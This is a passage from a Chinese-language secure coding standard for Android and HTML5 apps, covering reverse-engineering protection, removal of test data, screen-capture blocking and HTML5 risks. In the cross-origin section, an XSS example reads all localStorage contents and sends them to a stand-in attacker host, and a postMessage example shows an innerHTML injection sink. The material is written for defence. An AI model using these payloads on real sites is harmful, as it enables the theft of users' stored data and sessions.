e.printStackTrace(); } return null; }
4.8.3.2.重要函數邏輯安全
  • 【規範要求】

程序中重要的邏輯函數建議使用NDK技術經過c/c++代碼實現。

  • 【詳情說明】

由於APK自己未進行專業加固保護,存在被baksmali/apktool/dex2jar直接反編譯獲取程序java代碼的風險,建議程序的重要函數使用android ndk技術經過c/c++實現,將重要函數編譯到so庫中,可以提升重要函數的邏輯安全強度。

4.8.3.3.動態加載DEX文件檢測
  • 【規範要求】

如在應用程序中,存在動態加載DEX文件功能代碼,應對動態加載的DEX文件應進行完整性驗證。

  • 【詳情說明】

Android系統提供了一種類加載器DexClassLoader技術,可在程序運行時動態加載運行JAR文件或APK文件內的DEX文件。動態加載DEX文件的安全風險源於:Anroid4.1以前的系統版本容許APP動態加載應用自身具備讀寫權限文件(如sdcard)下的DEX文件,所以不可以保證應用免遭惡意代碼的劫持注入。若是APP外部加載的DEX文件沒作完整性校驗,所加載的DEX文件極易被惡意應用所劫持或代碼注入。一旦APP外部的DEX被劫持,將會執行攻擊者的惡意代碼,進一步實施欺詐、獲取帳號密碼或其餘惡意行爲。

4.9.逆向工程


4.9.1.定義

「逆向工程」指的對Android APP利用使用的一些不安全的配置,經過使用ida pro、apktool等逆向工具對應用程序數據進行非法備份、代碼非法篡改等行爲。

4.9.2.風險

Android編碼規範中「逆向工程」會形成的風險包括:核心功能代碼泄露、核心代碼篡改、內存調試等風險。

4.9.3.防範方法


4.9.3.1.Debuggable項設置

  • 【規範要求】

發佈版程序,應顯示關閉調試屬性。將AndroidManifest.xml中application的debuggable屬性顯示設置爲false。:

  • 【詳情說明】

在AndroidManifest.xml中可定義android:debuggable屬性,若是該屬性設置爲true,這表示應用程序運行調試模式運行。app被惡意程序調試運行時,可能致使代碼執行被跟蹤、敏感信息泄漏等問題。應顯示的設置android:debuggable="false"。

  • 【代碼示例】
android:debuggable="false"
4.9.3.2.DEX文件安全
  • 【規範要求】

對DEX文件進行加殼保護。

  • 【詳情說明】

DEX未進行保護會被攻擊者經過baksmali/apktool/dex2jar等反編譯工具逆向出代碼,形成核心功能代碼泄露、核心代碼篡改、內存調試等風險。

4.10.多餘的功能


4.10.1.定義

「多餘的功能」指開發人員將隱藏的後門程序功能或其餘內部調試功能發佈到生產環境中。

4.10.2.風險

Android編碼規範中「多餘的功能」會形成的風險包括:敏感數據竊取、未經受權功能訪問等。

4.10.3.防範方法


4.10.3.1.測試數據移除檢測
  • 【規範要求】

發佈版本應對程序中全部測試數據、測試方法進行統一刪除。

  • 【詳情說明】

若是應用中含有殘留的測試數據,可能會形成測試帳號或者測試信息外泄,若是測試數據中殘留有重要數據,則會形成重要數據泄露。

4.10.3.2.內網信息殘留檢測

【規範要求】

發佈版本應對程序中全部的內網數據進行統一刪除。

【詳情說明】

經過檢測是否包含內網URL地址,判斷髮布包中是否包含測試數據。殘留的測試數據,例如URL地址、測試帳號、密碼等可能會被盜取並惡意使用在正式服務器上進行攻擊,例如帳號重試,攻擊安全薄弱的測試服務器以獲取服務器安全漏洞或邏輯漏洞。

4.11.其餘


4.11.1.定義

除了以上在OWASP Mobile Top 10 2016中分析的十項規範外,移動Android APP開發的過程當中還應用注意部分手機廠商提供的默認功能致使的安全風險,例如:手機設備提供的屏幕截屏/錄頻功能產生的密碼泄露風險;使用設備的默認鍵盤鍵盤或者第三方未知鍵盤形成的敏感數據輸入泄露風險。

4.11.2.風險

形成的風險包括:APP輸入的敏感數據被注入鍵盤鉤子竊取、APP輸入的敏感數據在回顯時被竊取、登陸業務中相關提醒泄露敏感信息。

4.11.3.防範方法


4.11.3.1.禁用屏幕錄像功能
  • 【規範要求】

Activity需設置WindowManager.LayoutParams.FLAG_SECURE來防止截屏錄屏操做。

  • 【詳情說明】

在敏感信息輸入、顯示頁面,禁用截屏錄像功能。

  • 【代碼示例】

相關應用層提供的禁止屏幕截屏/錄頻的代碼: getWindow().addFlags(WindowManager.LayoutParams.FLAG_SECURE);

4.11.3.2.登陸失敗提示混淆
  • 【規範要求】

登陸失敗提示語句需統一進行模糊失敗提示。

  • 【詳情說明】

錯誤的提示包括:「登陸帳號錯誤,請從新輸入」或「登陸密碼錯誤,請從新輸入」;安全規範類提示包括:「帳號或密碼錯誤,請從新輸入」。

4.11.3.3.敏感數據顯示(輸出)與輸入檢測
  • 【規範要求】

在敏感/重要數據輸入時使用安全鍵盤。

  • 【詳情說明】

客戶端的敏感信息輸入界面,如登陸界面、註冊界面、支付界面等,用戶在輸入敏感信息與顯示(輸出)過程當中,若是使用第三方未知鍵盤或系統鍵盤的話可能存在被數據攔截與輸入監聽的風險致使敏感數據泄露。應使用安全鍵盤進行敏感信息的輸入。

4.12.Html5安全


4.12.1.定義

Html5安全從客戶端數據儲存安全、跨域通訊安全、Web worker使用安全、新標籤postMessage使用安全、預防拖拽劫持致使的攻擊等反面分析了Html5 APP開發過程當中應用注意的事項。

4.12.2.風險

Html5 APP不規範的開發會致使的問題包括:敏感信息泄露、跨目錄攻擊、DNS欺騙攻擊、惡意代碼棲息等風險。

4.12.2.1.客戶端存儲安全

  • 【規範要求】

對於Html5客戶端儲存安全須要注意的是:不存放敏感信息、選擇合適的域存放信息。好比一次性信息存放在sessionstorage中,並對存放的信息進行服務端加密。

  • 【詳情說明】

之前版本的HTML語言中,僅容許將Cookies做爲本地信息進行存儲且分配空間相對較小。客戶端上每每只存儲簡單的會話ID等少許信息,當用戶須要屢次訪問相同數據時,須要屢次向服務器端發送請求獲取,所以,大大下降了WEB的訪問性能。

隨着WEB應用複雜度和數據量的不斷增大,訪問性能成爲了制約發展的重要瓶頸。爲此,HTML5引進了LocalStorage,容許瀏覽器在客戶端存儲大量數據,並容許使用新類型的數據存儲。這一調整雖然大大提升了訪問性能,但卻帶來了巨大的安全隱患。在這樣的機制下,敏感數據將被存儲在客戶端,攻擊者只須要經過物理訪問或者破壞客戶端等簡單方法,就可以輕鬆地得到敏感數據。

使用LocalStorage代替Cookies作身份驗證,Cookies有HTTPONLY的保護,而LocalStorage沒有任何保護機制,一旦有XSS漏洞,使用LocalStorage存儲的數據很容易被攻擊者獲取。LocalStorage採用明文存儲,若是用戶不主動刪除,數據將永久存在,且本地存儲容易受到DNS欺騙攻擊。LocalStorage存儲沒有路徑概念,容易受到跨目錄攻擊。因爲localStorage的存儲空間多達5M,攻擊者能夠把蠕蟲的shellcode代碼存儲在本地。

4.12.2.2.跨域通訊安全

  • 【規範要求】

Html5的跨域通訊安全須要注意:不要對Access–Control-Allow-Origin使用 *、要對跨域請求驗證session信息、嚴格審查請求信息,好比請求參數、http頭信息等。

  • 【詳情說明】

之前版本的HTML語言中的同源策略(Same-Origin Policy)對JavaScript代碼可以訪問的頁面內容作了很重要的限制,即JavaScript只能訪問文檔中包含它並在同一域下的內容。例如,在a.com下的頁面中包含的JavaScript 代碼,不能訪問在b.com域名下的頁面內容;甚至不一樣的子域名之間的頁面也不能經過JavaScript代碼互相訪問。 而HTML5爲實現跨源資源共享,提供了一種跨域通訊機制繞過同源政策。這一機制將容許不一樣域的服務器可以在Web瀏覽器的iframe間進行通訊,這樣一來,攻擊者就可以濫用這個功能以得到敏感數據。

  • 【代碼示例】

若是網站存在XSS漏洞,攻擊者的注入代碼:

<script> var i =0; var str = 「」; while(localStorage.key(i) != null) { var key = localStorage.key(i); str += key +」:」 + localStorage. getItem(key); i++; } document.location=http://your-maliciours-site.com?stolen=+str; <script>

4.12.2.3.Web worker安全
  • 【規範要求】

對於Web workder預防僵屍網絡風險須要注意的是:對訪問的站點加入黑/白名單策略。對黑名單站點進行訪問預警,對訪問的客戶端資源佔用狀況進行監控,發現某個頁面資源佔用反常需進行訪問預警。

  • 【詳情說明】

Html5「解決」了js單線程問題,提出了Web worker機制,它爲js提供多線程支持,可是多線程帶來了一個很是可怕的危險-僵屍網絡。Web worker形成的僵屍網絡就是在用戶不知情的狀況下,使用pc端的資源往外發送大量的請求,若是受控的客戶端(殭屍)夠多,而且針對某一個目標發送,能夠形成應用層的DDOS。

  • 【代碼示例】

Web workder的使用代碼:

var worker = new Worker("worker.js"); worker.postMessage("hello world"); worker.onmessage = function(){}
4.12.2.4.新標籤postMessage安全
  • 【規範要求】

使用postMessage標籤時,在onmessage中不能直接使用innerHTML相似的語句添加或者修改網頁。

  • 【詳情說明】

postMessage是web worker中的一個函數,它的做用是主線程給新線程post數據用的,而且postMessage是不經過服務器的,那麼頗有可能形成DOM-based XSS。

  • 【代碼示例】

新標籤postMessage的利用代碼:

postMessage("<script>alert(1)</script>"); worker.onmessage = function(e) { document.getElementById("test").innerHTML = e.data; }
4.12.2.5.預防拖放劫持攻擊
  • 【規範要求】

經過在js代碼中設置top.location=window.location.href預防拖放劫持攻擊。

  • 【詳情說明】

拖放劫持可定義爲點擊劫持技術(Clickjacking)與HTML5拖放事件的組合。點擊劫持攻擊只涉及在隱藏框中的點擊操做,其攻擊範圍有所限制。而拖放劫持模式將劫持的用戶操做由單純的點擊擴展到了拖放行爲。在如今的Web應用中,有大量須要用戶採用拖放完成的操做,所以,拖放劫持大大擴展了點擊劫持的攻擊範圍。

此外,在瀏覽器中拖放操做是不受同源策略限制的,用戶能夠把一個域的內容拖放到另一個域;所以,突破同源策略限制的拖放劫持能夠演化出更爲普遍的攻擊形式,可以突破多種防護。

  • 【代碼示例】

相關應用層提供的禁止屏幕截屏/錄頻的代碼:

If(top != window)
    top.location = window.location.href;
相關文章
相關標籤/搜索